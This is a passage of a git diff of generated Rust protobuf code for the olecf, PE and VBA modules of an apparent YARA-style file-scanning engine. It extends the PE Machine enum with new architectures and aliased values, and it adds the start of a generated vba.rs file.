fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "size", + |m: &Stream| { &m.size }, + |m: &mut Stream| { &mut m.size }, + )); + ::protobuf::reflect::GeneratedMessageDescriptorData::new_2::( + "Stream", + fields, + oneofs, + ) + } +} + +impl ::protobuf::Message for Stream { + const NAME: &'static str = "Stream"; + + fn is_initialized(&self) -> bool { + if self.name.is_none() { + return false; + } + if self.type_.is_none() { + return false; + } + if self.size.is_none() { + return false; + } + true + } + + fn merge_from(&mut self, is: &mut ::protobuf::CodedInputStream<'_>) -> ::protobuf::Result<()> { + while let Some(tag) = is.read_raw_tag_or_eof()? { + match tag { + 10 => { + self.name = ::std::option::Option::Some(is.read_string()?); + }, + 16 => { + self.type_ = ::std::option::Option::Some(is.read_enum_or_unknown()?); + }, + 24 => { + self.size = ::std::option::Option::Some(is.read_uint64()?); + }, + tag => { + ::protobuf::rt::read_unknown_or_skip_group(tag, is, self.special_fields.mut_unknown_fields())?; + }, + }; + } + ::std::result::Result::Ok(()) + } + + // Compute sizes of nested messages + #[allow(unused_variables)] + fn compute_size(&self) -> u64 { + let mut my_size = 0; + if let Some(v) = self.name.as_ref() { + my_size += ::protobuf::rt::string_size(1, &v); + } + if let Some(v) = self.type_ { + my_size += ::protobuf::rt::int32_size(2, v.value()); + } + if let Some(v) = self.size { + my_size += ::protobuf::rt::uint64_size(3, v); + } + my_size += ::protobuf::rt::unknown_fields_size(self.special_fields.unknown_fields()); + self.special_fields.cached_size().set(my_size as u32); + my_size + } + + fn write_to_with_cached_sizes(&self, os: &mut ::protobuf::CodedOutputStream<'_>) -> ::protobuf::Result<()> { + if let Some(v) = self.name.as_ref() { + os.write_string(1, v)?; + } + if let Some(v) = self.type_ { + os.write_enum(2, ::protobuf::EnumOrUnknown::value(&v))?; + } + if let Some(v) = self.size { + os.write_uint64(3, v)?; + } + os.write_unknown_fields(self.special_fields.unknown_fields())?; + ::std::result::Result::Ok(()) + } + + fn special_fields(&self) -> &::protobuf::SpecialFields { + &self.special_fields + } + + fn mut_special_fields(&mut self) -> &mut ::protobuf::SpecialFields { + &mut self.special_fields + } + + fn new() -> Stream { + Stream::new() + } + + fn clear(&mut self) { + self.name = ::std::option::Option::None; + self.type_ = ::std::option::Option::None; + self.size = ::std::option::Option::None; + self.special_fields.clear(); + } + + fn default_instance() -> &'static Stream { + static instance: Stream = Stream { + name: ::std::option::Option::None, + type_: ::std::option::Option::None, + size: ::std::option::Option::None, + special_fields: ::protobuf::SpecialFields::new(), + }; + &instance + } +} + +impl ::protobuf::MessageFull for Stream { + fn descriptor() -> ::protobuf::reflect::MessageDescriptor { + static descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::MessageDescriptor> = ::protobuf::rt::Lazy::new(); + descriptor.get(|| file_descriptor().message_by_package_relative_name("Stream").unwrap()).clone() + } +} + +impl ::std::fmt::Display for Stream { + fn fmt(&self, f: &mut ::std::fmt::Formatter<'_>) -> ::std::fmt::Result { + ::protobuf::text_format::fmt(self, f) + } +} + +impl ::protobuf::reflect::ProtobufValue for Stream { + type RuntimeType = ::protobuf::reflect::rt::RuntimeTypeMessage; +} + +#[derive(Clone,Copy,PartialEq,Eq,Debug,Hash)] +// @@protoc_insertion_point(enum:olecf.StreamType) +pub enum StreamType { + // @@protoc_insertion_point(enum_value:olecf.StreamType.UNKNOWN) + UNKNOWN = 0, + // @@protoc_insertion_point(enum_value:olecf.StreamType.STORAGE) + STORAGE = 1, + // @@protoc_insertion_point(enum_value:olecf.StreamType.STREAM) + STREAM = 2, + // @@protoc_insertion_point(enum_value:olecf.StreamType.ROOT) + ROOT = 5, +} + +impl ::protobuf::Enum for StreamType { + const NAME: &'static str = "StreamType"; + + fn value(&self) -> i32 { + *self as i32 + } + + fn from_i32(value: i32) -> ::std::option::Option { + match value { + 0 => ::std::option::Option::Some(StreamType::UNKNOWN), + 1 => ::std::option::Option::Some(StreamType::STORAGE), + 2 => ::std::option::Option::Some(StreamType::STREAM), + 5 => ::std::option::Option::Some(StreamType::ROOT), + _ => ::std::option::Option::None + } + } + + fn from_str(str: &str) -> ::std::option::Option { + match str { + "UNKNOWN" => ::std::option::Option::Some(StreamType::UNKNOWN), + "STORAGE" => ::std::option::Option::Some(StreamType::STORAGE), + "STREAM" => ::std::option::Option::Some(StreamType::STREAM), + "ROOT" => ::std::option::Option::Some(StreamType::ROOT), + _ => ::std::option::Option::None + } + } + + const VALUES: &'static [StreamType] = &[ + StreamType::UNKNOWN, + StreamType::STORAGE, + StreamType::STREAM, + StreamType::ROOT, + ]; +} + +impl ::protobuf::EnumFull for StreamType { + fn enum_descriptor() -> ::protobuf::reflect::EnumDescriptor { + static descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::EnumDescriptor> = ::protobuf::rt::Lazy::new(); + descriptor.get(|| file_descriptor().enum_by_package_relative_name("StreamType").unwrap()).clone() + } + + fn descriptor(&self) -> ::protobuf::reflect::EnumValueDescriptor { + let index = match self { + StreamType::UNKNOWN => 0, + StreamType::STORAGE => 1, + StreamType::STREAM => 2, + StreamType::ROOT => 3, + }; + Self::enum_descriptor().value_by_index(index) + } +} + +impl ::std::default::Default for StreamType { + fn default() -> Self { + StreamType::UNKNOWN + } +} + +impl StreamType { + fn generated_enum_descriptor_data() -> ::protobuf::reflect::GeneratedEnumDescriptorData { + ::protobuf::reflect::GeneratedEnumDescriptorData::new::("StreamType") + } +} + +static file_descriptor_proto_data: &'static [u8] = b"\ + \n\x0bolecf.proto\x12\x05olecf\x1a\nyara.proto\"K\n\x05Olecf\x12\x19\n\ + \x08is_olecf\x18\x01\x20\x02(\x08R\x07isOlecf\x12'\n\x07streams\x18\x02\ + \x20\x03(\x0b2\r.olecf.StreamR\x07streams\"W\n\x06Stream\x12\x12\n\x04na\ + me\x18\x01\x20\x02(\tR\x04name\x12%\n\x04type\x18\x02\x20\x02(\x0e2\x11.\ + olecf.StreamTypeR\x04type\x12\x12\n\x04size\x18\x03\x20\x02(\x04R\x04siz\ + e*<\n\nStreamType\x12\x0b\n\x07UNKNOWN\x10\0\x12\x0b\n\x07STORAGE\x10\ + \x01\x12\n\n\x06STREAM\x10\x02\x12\x08\n\x04ROOT\x10\x05B&\xfa\x92\x19\"\ + \n\x05olecf\x12\x0bolecf.Olecf\x1a\x0colecf-moduleb\x06proto2\ +"; + +/// `FileDescriptorProto` object which was a source for this generated file +fn file_descriptor_proto() -> &'static ::protobuf::descriptor::FileDescriptorProto { + static file_descriptor_proto_lazy: ::protobuf::rt::Lazy<::protobuf::descriptor::FileDescriptorProto> = ::protobuf::rt::Lazy::new(); + file_descriptor_proto_lazy.get(|| { + ::protobuf::Message::parse_from_bytes(file_descriptor_proto_data).unwrap() + }) +} + +/// `FileDescriptor` object which allows dynamic access to files +pub fn file_descriptor() -> &'static ::protobuf::reflect::FileDescriptor { + static generated_file_descriptor_lazy: ::protobuf::rt::Lazy<::protobuf::reflect::GeneratedFileDescriptor> = ::protobuf::rt::Lazy::new(); + static file_descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::FileDescriptor> = ::protobuf::rt::Lazy::new(); + file_descriptor.get(|| { + let generated_file_descriptor = generated_file_descriptor_lazy.get(|| { + let mut deps = ::std::vec::Vec::with_capacity(1); + deps.push(super::yara::file_descriptor().clone()); + let mut messages = ::std::vec::Vec::with_capacity(2); + messages.push(Olecf::generated_message_descriptor_data()); + messages.push(Stream::generated_message_descriptor_data()); + let mut enums = ::std::vec::Vec::with_capacity(1); + enums.push(StreamType::generated_enum_descriptor_data()); + ::protobuf::reflect::GeneratedFileDescriptor::new_generated( + file_descriptor_proto(), + deps, + messages, + enums, + ) + }); + ::protobuf::reflect::FileDescriptor::new_generated_2(generated_file_descriptor) + }) +} diff --git a/lib/src/modules/protos/generated/pe.rs b/lib/src/modules/protos/generated/pe.rs index b634ee54..f58c5f13 100644 --- a/lib/src/modules/protos/generated/pe.rs +++ b/lib/src/modules/protos/generated/pe.rs @@ -7592,80 +7592,167 @@ impl ResourceType { } } -#[derive(Clone,Copy,PartialEq,Eq,Debug,Hash)] +// Note: you cannot use pattern matching for enums with allow_alias option +#[derive(Clone,Copy,Eq,Debug)] // @@protoc_insertion_point(enum:pe.Machine) pub enum Machine { // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_UNKNOWN) - MACHINE_UNKNOWN = 0, + MACHINE_UNKNOWN, // 0 + // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_ALPHA) + MACHINE_ALPHA, // 388 + // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_ALPHA64) + MACHINE_ALPHA64, // 644 // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_AM33) - MACHINE_AM33 = 467, + MACHINE_AM33, // 467 // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_AMD64) - MACHINE_AMD64 = 34404, + MACHINE_AMD64, // 34404 // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_ARM) - MACHINE_ARM = 448, - // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_ARMNT) - MACHINE_ARMNT = 452, + MACHINE_ARM, // 448 // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_ARM64) - MACHINE_ARM64 = 43620, + MACHINE_ARM64, // 43620 + // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_ARM64EC) + MACHINE_ARM64EC, // 42561 + // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_ARM64X) + MACHINE_ARM64X, // 42574 + // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_ARMNT) + MACHINE_ARMNT, // 452 + // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_AXP64) + MACHINE_AXP64, // 644 // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_EBC) - MACHINE_EBC = 3772, + MACHINE_EBC, // 3772 // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_I386) - MACHINE_I386 = 332, + MACHINE_I386, // 332 // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_IA64) - MACHINE_IA64 = 512, + MACHINE_IA64, // 512 + // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_LOONGARCH32) + MACHINE_LOONGARCH32, // 25138 + // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_LOONGARCH64) + MACHINE_LOONGARCH64, // 25188 // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_M32R) - MACHINE_M32R = 36929, + MACHINE_M32R, // 36929 // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_MIPS16) - MACHINE_MIPS16 = 614, + MACHINE_MIPS16, // 614 // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_MIPSFPU) - MACHINE_MIPSFPU = 870, + MACHINE_MIPSFPU, // 870 // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_MIPSFPU16) - MACHINE_MIPSFPU16 = 1126, + MACHINE_MIPSFPU16, // 1126 // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_POWERPC) - MACHINE_POWERPC = 496, + MACHINE_POWERPC, // 496 // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_POWERPCFP) - MACHINE_POWERPCFP = 497, + MACHINE_POWERPCFP, // 497 + // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_R3000BE) + MACHINE_R3000BE, // 352 + // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_R3000) + MACHINE_R3000, // 354 // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_R4000) - MACHINE_R4000 = 358, + MACHINE_R4000, // 358 + // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_R10000) + MACHINE_R10000, // 360 + // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_RISCV32) + MACHINE_RISCV32, // 20530 + // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_RISCV64) + MACHINE_RISCV64, // 20580 + // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_RISCV128) + MACHINE_RISCV128, // 20776 // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_SH3) - MACHINE_SH3 = 418, + MACHINE_SH3, // 418 // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_SH3DSP) - MACHINE_SH3DSP = 419, + MACHINE_SH3DSP, // 419 // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_SH4) - MACHINE_SH4 = 422, + MACHINE_SH4, // 422 // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_SH5) - MACHINE_SH5 = 424, + MACHINE_SH5, // 424 // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_THUMB) - MACHINE_THUMB = 450, + MACHINE_THUMB, // 450 // @@protoc_insertion_point(enum_value:pe.Machine.MACHINE_WCEMIPSV2) - MACHINE_WCEMIPSV2 = 361, + MACHINE_WCEMIPSV2, // 361 +} + +impl ::std::cmp::PartialEq for Machine { + fn eq(&self, other: &Self) -> bool { + ::protobuf::Enum::value(self) == ::protobuf::Enum::value(other) + } +} + +impl ::std::hash::Hash for Machine { + fn hash(&self, state: &mut H) { + state.write_i32(::protobuf::Enum::value(self)) + } } impl ::protobuf::Enum for Machine { const NAME: &'static str = "Machine"; fn value(&self) -> i32 { - *self as i32 + match *self { + Machine::MACHINE_UNKNOWN => 0, + Machine::MACHINE_ALPHA => 388, + Machine::MACHINE_ALPHA64 => 644, + Machine::MACHINE_AM33 => 467, + Machine::MACHINE_AMD64 => 34404, + Machine::MACHINE_ARM => 448, + Machine::MACHINE_ARM64 => 43620, + Machine::MACHINE_ARM64EC => 42561, + Machine::MACHINE_ARM64X => 42574, + Machine::MACHINE_ARMNT => 452, + Machine::MACHINE_AXP64 => 644, + Machine::MACHINE_EBC => 3772, + Machine::MACHINE_I386 => 332, + Machine::MACHINE_IA64 => 512, + Machine::MACHINE_LOONGARCH32 => 25138, + Machine::MACHINE_LOONGARCH64 => 25188, + Machine::MACHINE_M32R => 36929, + Machine::MACHINE_MIPS16 => 614, + Machine::MACHINE_MIPSFPU => 870, + Machine::MACHINE_MIPSFPU16 => 1126, + Machine::MACHINE_POWERPC => 496, + Machine::MACHINE_POWERPCFP => 497, + Machine::MACHINE_R3000BE => 352, + Machine::MACHINE_R3000 => 354, + Machine::MACHINE_R4000 => 358, + Machine::MACHINE_R10000 => 360, + Machine::MACHINE_RISCV32 => 20530, + Machine::MACHINE_RISCV64 => 20580, + Machine::MACHINE_RISCV128 => 20776, + Machine::MACHINE_SH3 => 418, + Machine::MACHINE_SH3DSP => 419, + Machine::MACHINE_SH4 => 422, + Machine::MACHINE_SH5 => 424, + Machine::MACHINE_THUMB => 450, + Machine::MACHINE_WCEMIPSV2 => 361, + } } fn from_i32(value: i32) -> ::std::option::Option { match value { 0 => ::std::option::Option::Some(Machine::MACHINE_UNKNOWN), + 388 => ::std::option::Option::Some(Machine::MACHINE_ALPHA), + 644 => ::std::option::Option::Some(Machine::MACHINE_ALPHA64), 467 => ::std::option::Option::Some(Machine::MACHINE_AM33), 34404 => ::std::option::Option::Some(Machine::MACHINE_AMD64), 448 => ::std::option::Option::Some(Machine::MACHINE_ARM), - 452 => ::std::option::Option::Some(Machine::MACHINE_ARMNT), 43620 => ::std::option::Option::Some(Machine::MACHINE_ARM64), + 42561 => ::std::option::Option::Some(Machine::MACHINE_ARM64EC), + 42574 => ::std::option::Option::Some(Machine::MACHINE_ARM64X), + 452 => ::std::option::Option::Some(Machine::MACHINE_ARMNT), 3772 => ::std::option::Option::Some(Machine::MACHINE_EBC), 332 => ::std::option::Option::Some(Machine::MACHINE_I386), 512 => ::std::option::Option::Some(Machine::MACHINE_IA64), + 25138 => ::std::option::Option::Some(Machine::MACHINE_LOONGARCH32), + 25188 => ::std::option::Option::Some(Machine::MACHINE_LOONGARCH64), 36929 => ::std::option::Option::Some(Machine::MACHINE_M32R), 614 => ::std::option::Option::Some(Machine::MACHINE_MIPS16), 870 => ::std::option::Option::Some(Machine::MACHINE_MIPSFPU), 1126 => ::std::option::Option::Some(Machine::MACHINE_MIPSFPU16), 496 => ::std::option::Option::Some(Machine::MACHINE_POWERPC), 497 => ::std::option::Option::Some(Machine::MACHINE_POWERPCFP), + 352 => ::std::option::Option::Some(Machine::MACHINE_R3000BE), + 354 => ::std::option::Option::Some(Machine::MACHINE_R3000), 358 => ::std::option::Option::Some(Machine::MACHINE_R4000), + 360 => ::std::option::Option::Some(Machine::MACHINE_R10000), + 20530 => ::std::option::Option::Some(Machine::MACHINE_RISCV32), + 20580 => ::std::option::Option::Some(Machine::MACHINE_RISCV64), + 20776 => ::std::option::Option::Some(Machine::MACHINE_RISCV128), 418 => ::std::option::Option::Some(Machine::MACHINE_SH3), 419 => ::std::option::Option::Some(Machine::MACHINE_SH3DSP), 422 => ::std::option::Option::Some(Machine::MACHINE_SH4), @@ -7679,21 +7766,33 @@ impl ::protobuf::Enum for Machine { fn from_str(str: &str) -> ::std::option::Option { match str { "MACHINE_UNKNOWN" => ::std::option::Option::Some(Machine::MACHINE_UNKNOWN), + "MACHINE_ALPHA" => ::std::option::Option::Some(Machine::MACHINE_ALPHA), + "MACHINE_ALPHA64" => ::std::option::Option::Some(Machine::MACHINE_ALPHA64), "MACHINE_AM33" => ::std::option::Option::Some(Machine::MACHINE_AM33), "MACHINE_AMD64" => ::std::option::Option::Some(Machine::MACHINE_AMD64), "MACHINE_ARM" => ::std::option::Option::Some(Machine::MACHINE_ARM), - "MACHINE_ARMNT" => ::std::option::Option::Some(Machine::MACHINE_ARMNT), "MACHINE_ARM64" => ::std::option::Option::Some(Machine::MACHINE_ARM64), + "MACHINE_ARM64EC" => ::std::option::Option::Some(Machine::MACHINE_ARM64EC), + "MACHINE_ARM64X" => ::std::option::Option::Some(Machine::MACHINE_ARM64X), + "MACHINE_ARMNT" => ::std::option::Option::Some(Machine::MACHINE_ARMNT), "MACHINE_EBC" => ::std::option::Option::Some(Machine::MACHINE_EBC), "MACHINE_I386" => ::std::option::Option::Some(Machine::MACHINE_I386), "MACHINE_IA64" => ::std::option::Option::Some(Machine::MACHINE_IA64), + "MACHINE_LOONGARCH32" => ::std::option::Option::Some(Machine::MACHINE_LOONGARCH32), + "MACHINE_LOONGARCH64" => ::std::option::Option::Some(Machine::MACHINE_LOONGARCH64), "MACHINE_M32R" => ::std::option::Option::Some(Machine::MACHINE_M32R), "MACHINE_MIPS16" => ::std::option::Option::Some(Machine::MACHINE_MIPS16), "MACHINE_MIPSFPU" => ::std::option::Option::Some(Machine::MACHINE_MIPSFPU), "MACHINE_MIPSFPU16" => ::std::option::Option::Some(Machine::MACHINE_MIPSFPU16), "MACHINE_POWERPC" => ::std::option::Option::Some(Machine::MACHINE_POWERPC), "MACHINE_POWERPCFP" => ::std::option::Option::Some(Machine::MACHINE_POWERPCFP), + "MACHINE_R3000BE" => ::std::option::Option::Some(Machine::MACHINE_R3000BE), + "MACHINE_R3000" => ::std::option::Option::Some(Machine::MACHINE_R3000), "MACHINE_R4000" => ::std::option::Option::Some(Machine::MACHINE_R4000), + "MACHINE_R10000" => ::std::option::Option::Some(Machine::MACHINE_R10000), + "MACHINE_RISCV32" => ::std::option::Option::Some(Machine::MACHINE_RISCV32), + "MACHINE_RISCV64" => ::std::option::Option::Some(Machine::MACHINE_RISCV64), + "MACHINE_RISCV128" => ::std::option::Option::Some(Machine::MACHINE_RISCV128), "MACHINE_SH3" => ::std::option::Option::Some(Machine::MACHINE_SH3), "MACHINE_SH3DSP" => ::std::option::Option::Some(Machine::MACHINE_SH3DSP), "MACHINE_SH4" => ::std::option::Option::Some(Machine::MACHINE_SH4), @@ -7706,21 +7805,34 @@ impl ::protobuf::Enum for Machine { const VALUES: &'static [Machine] = &[ Machine::MACHINE_UNKNOWN, + Machine::MACHINE_ALPHA, + Machine::MACHINE_ALPHA64, Machine::MACHINE_AM33, Machine::MACHINE_AMD64, Machine::MACHINE_ARM, - Machine::MACHINE_ARMNT, Machine::MACHINE_ARM64, + Machine::MACHINE_ARM64EC, + Machine::MACHINE_ARM64X, + Machine::MACHINE_ARMNT, + Machine::MACHINE_AXP64, Machine::MACHINE_EBC, Machine::MACHINE_I386, Machine::MACHINE_IA64, + Machine::MACHINE_LOONGARCH32, + Machine::MACHINE_LOONGARCH64, Machine::MACHINE_M32R, Machine::MACHINE_MIPS16, Machine::MACHINE_MIPSFPU, Machine::MACHINE_MIPSFPU16, Machine::MACHINE_POWERPC, Machine::MACHINE_POWERPCFP, + Machine::MACHINE_R3000BE, + Machine::MACHINE_R3000, Machine::MACHINE_R4000, + Machine::MACHINE_R10000, + Machine::MACHINE_RISCV32, + Machine::MACHINE_RISCV64, + Machine::MACHINE_RISCV128, Machine::MACHINE_SH3, Machine::MACHINE_SH3DSP, Machine::MACHINE_SH4, @@ -7739,27 +7851,40 @@ impl ::protobuf::EnumFull for Machine { fn descriptor(&self) -> ::protobuf::reflect::EnumValueDescriptor { let index = match self { Machine::MACHINE_UNKNOWN => 0, - Machine::MACHINE_AM33 => 1, - Machine::MACHINE_AMD64 => 2, - Machine::MACHINE_ARM => 3, - Machine::MACHINE_ARMNT => 4, - Machine::MACHINE_ARM64 => 5, - Machine::MACHINE_EBC => 6, - Machine::MACHINE_I386 => 7, - Machine::MACHINE_IA64 => 8, - Machine::MACHINE_M32R => 9, - Machine::MACHINE_MIPS16 => 10, - Machine::MACHINE_MIPSFPU => 11, - Machine::MACHINE_MIPSFPU16 => 12, - Machine::MACHINE_POWERPC => 13, - Machine::MACHINE_POWERPCFP => 14, - Machine::MACHINE_R4000 => 15, - Machine::MACHINE_SH3 => 16, - Machine::MACHINE_SH3DSP => 17, - Machine::MACHINE_SH4 => 18, - Machine::MACHINE_SH5 => 19, - Machine::MACHINE_THUMB => 20, - Machine::MACHINE_WCEMIPSV2 => 21, + Machine::MACHINE_ALPHA => 1, + Machine::MACHINE_ALPHA64 => 2, + Machine::MACHINE_AM33 => 3, + Machine::MACHINE_AMD64 => 4, + Machine::MACHINE_ARM => 5, + Machine::MACHINE_ARM64 => 6, + Machine::MACHINE_ARM64EC => 7, + Machine::MACHINE_ARM64X => 8, + Machine::MACHINE_ARMNT => 9, + Machine::MACHINE_AXP64 => 10, + Machine::MACHINE_EBC => 11, + Machine::MACHINE_I386 => 12, + Machine::MACHINE_IA64 => 13, + Machine::MACHINE_LOONGARCH32 => 14, + Machine::MACHINE_LOONGARCH64 => 15, + Machine::MACHINE_M32R => 16, + Machine::MACHINE_MIPS16 => 17, + Machine::MACHINE_MIPSFPU => 18, + Machine::MACHINE_MIPSFPU16 => 19, + Machine::MACHINE_POWERPC => 20, + Machine::MACHINE_POWERPCFP => 21, + Machine::MACHINE_R3000BE => 22, + Machine::MACHINE_R3000 => 23, + Machine::MACHINE_R4000 => 24, + Machine::MACHINE_R10000 => 25, + Machine::MACHINE_RISCV32 => 26, + Machine::MACHINE_RISCV64 => 27, + Machine::MACHINE_RISCV128 => 28, + Machine::MACHINE_SH3 => 29, + Machine::MACHINE_SH3DSP => 30, + Machine::MACHINE_SH4 => 31, + Machine::MACHINE_SH5 => 32, + Machine::MACHINE_THUMB => 33, + Machine::MACHINE_WCEMIPSV2 => 34, }; Self::enum_descriptor().value_by_index(index) } @@ -8883,23 +9008,31 @@ static file_descriptor_proto_data: &'static [u8] = b"\ \n\x16RESOURCE_TYPE_PLUGPLAY\x10\x13\x12\x15\n\x11RESOURCE_TYPE_VXD\x10\ \x14\x12\x1b\n\x17RESOURCE_TYPE_ANICURSOR\x10\x15\x12\x19\n\x15RESOURCE_\ TYPE_ANIICON\x10\x16\x12\x16\n\x12RESOURCE_TYPE_HTML\x10\x17\x12\x1a\n\ - \x16RESOURCE_TYPE_MANIFEST\x10\x18\x1a\x06\x92\x93\x19\x02\x10\x01*\xd1\ - \x03\n\x07Machine\x12\x13\n\x0fMACHINE_UNKNOWN\x10\0\x12\x11\n\x0cMACHIN\ - E_AM33\x10\xd3\x03\x12\x13\n\rMACHINE_AMD64\x10\xe4\x8c\x02\x12\x10\n\ - \x0bMACHINE_ARM\x10\xc0\x03\x12\x12\n\rMACHINE_ARMNT\x10\xc4\x03\x12\x13\ - \n\rMACHINE_ARM64\x10\xe4\xd4\x02\x12\x10\n\x0bMACHINE_EBC\x10\xbc\x1d\ - \x12\x11\n\x0cMACHINE_I386\x10\xcc\x02\x12\x11\n\x0cMACHINE_IA64\x10\x80\ - \x04\x12\x12\n\x0cMACHINE_M32R\x10\xc1\xa0\x02\x12\x13\n\x0eMACHINE_MIPS\ - 16\x10\xe6\x04\x12\x14\n\x0fMACHINE_MIPSFPU\x10\xe6\x06\x12\x16\n\x11MAC\ - HINE_MIPSFPU16\x10\xe6\x08\x12\x14\n\x0fMACHINE_POWERPC\x10\xf0\x03\x12\ - \x16\n\x11MACHINE_POWERPCFP\x10\xf1\x03\x12\x12\n\rMACHINE_R4000\x10\xe6\ - \x02\x12\x10\n\x0bMACHINE_SH3\x10\xa2\x03\x12\x13\n\x0eMACHINE_SH3DSP\ - \x10\xa3\x03\x12\x10\n\x0bMACHINE_SH4\x10\xa6\x03\x12\x10\n\x0bMACHINE_S\ - H5\x10\xa8\x03\x12\x12\n\rMACHINE_THUMB\x10\xc2\x03\x12\x16\n\x11MACHINE\ - _WCEMIPSV2\x10\xe9\x02\x1a\x06\x92\x93\x19\x02\x10\x01*\xa3\x03\n\tSubsy\ - stem\x12\x15\n\x11SUBSYSTEM_UNKNOWN\x10\0\x12\x14\n\x10SUBSYSTEM_NATIVE\ - \x10\x01\x12\x19\n\x15SUBSYSTEM_WINDOWS_GUI\x10\x02\x12\x19\n\x15SUBSYST\ - EM_WINDOWS_CUI\x10\x03\x12\x15\n\x11SUBSYSTEM_OS2_CUI\x10\x05\x12\x17\n\ + \x16RESOURCE_TYPE_MANIFEST\x10\x18\x1a\x06\x92\x93\x19\x02\x10\x01*\xf9\ + \x05\n\x07Machine\x12\x13\n\x0fMACHINE_UNKNOWN\x10\0\x12\x12\n\rMACHINE_\ + ALPHA\x10\x84\x03\x12\x14\n\x0fMACHINE_ALPHA64\x10\x84\x05\x12\x11\n\x0c\ + MACHINE_AM33\x10\xd3\x03\x12\x13\n\rMACHINE_AMD64\x10\xe4\x8c\x02\x12\ + \x10\n\x0bMACHINE_ARM\x10\xc0\x03\x12\x13\n\rMACHINE_ARM64\x10\xe4\xd4\ + \x02\x12\x15\n\x0fMACHINE_ARM64EC\x10\xc1\xcc\x02\x12\x14\n\x0eMACHINE_A\ + RM64X\x10\xce\xcc\x02\x12\x12\n\rMACHINE_ARMNT\x10\xc4\x03\x12\x12\n\rMA\ + CHINE_AXP64\x10\x84\x05\x12\x10\n\x0bMACHINE_EBC\x10\xbc\x1d\x12\x11\n\ + \x0cMACHINE_I386\x10\xcc\x02\x12\x11\n\x0cMACHINE_IA64\x10\x80\x04\x12\ + \x19\n\x13MACHINE_LOONGARCH32\x10\xb2\xc4\x01\x12\x19\n\x13MACHINE_LOONG\ + ARCH64\x10\xe4\xc4\x01\x12\x12\n\x0cMACHINE_M32R\x10\xc1\xa0\x02\x12\x13\ + \n\x0eMACHINE_MIPS16\x10\xe6\x04\x12\x14\n\x0fMACHINE_MIPSFPU\x10\xe6\ + \x06\x12\x16\n\x11MACHINE_MIPSFPU16\x10\xe6\x08\x12\x14\n\x0fMACHINE_POW\ + ERPC\x10\xf0\x03\x12\x16\n\x11MACHINE_POWERPCFP\x10\xf1\x03\x12\x14\n\ + \x0fMACHINE_R3000BE\x10\xe0\x02\x12\x12\n\rMACHINE_R3000\x10\xe2\x02\x12\ + \x12\n\rMACHINE_R4000\x10\xe6\x02\x12\x13\n\x0eMACHINE_R10000\x10\xe8\ + \x02\x12\x15\n\x0fMACHINE_RISCV32\x10\xb2\xa0\x01\x12\x15\n\x0fMACHINE_R\ + ISCV64\x10\xe4\xa0\x01\x12\x16\n\x10MACHINE_RISCV128\x10\xa8\xa2\x01\x12\ + \x10\n\x0bMACHINE_SH3\x10\xa2\x03\x12\x13\n\x0eMACHINE_SH3DSP\x10\xa3\ + \x03\x12\x10\n\x0bMACHINE_SH4\x10\xa6\x03\x12\x10\n\x0bMACHINE_SH5\x10\ + \xa8\x03\x12\x12\n\rMACHINE_THUMB\x10\xc2\x03\x12\x16\n\x11MACHINE_WCEMI\ + PSV2\x10\xe9\x02\x1a\x08\x10\x01\x92\x93\x19\x02\x10\x01*\xa3\x03\n\tSub\ + system\x12\x15\n\x11SUBSYSTEM_UNKNOWN\x10\0\x12\x14\n\x10SUBSYSTEM_NATIV\ + E\x10\x01\x12\x19\n\x15SUBSYSTEM_WINDOWS_GUI\x10\x02\x12\x19\n\x15SUBSYS\ + TEM_WINDOWS_CUI\x10\x03\x12\x15\n\x11SUBSYSTEM_OS2_CUI\x10\x05\x12\x17\n\ \x13SUBSYSTEM_POSIX_CUI\x10\x07\x12\x1c\n\x18SUBSYSTEM_NATIVE_WINDOWS\ \x10\x08\x12\x1c\n\x18SUBSYSTEM_WINDOWS_CE_GUI\x10\t\x12\x1d\n\x19SUBSYS\ TEM_EFI_APPLICATION\x10\n\x12%\n!SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER\x10\ diff --git a/lib/src/modules/protos/generated/vba.rs b/lib/src/modules/protos/generated/vba.rs new file mode 100644 index 00000000..2bf01760 --- /dev/null +++ b/lib/src/modules/protos/generated/vba.rs @@ -0,0 +1,847 @@ +// This file is generated by rust-protobuf 3.7.2. Do not edit +// .proto file is parsed by pure +// @generated + +// https://github.com/rust-lang/rust-clippy/issues/702 +#![allow(unknown_lints)] +#![allow(clippy::all)] + +#![allow(unused_attributes)] +#![cfg_attr(rustfmt, rustfmt::skip)] + +#![allow(dead_code)] +#![allow(missing_docs)] +#![allow(non_camel_case_types)] +#![allow(non_snake_case)] 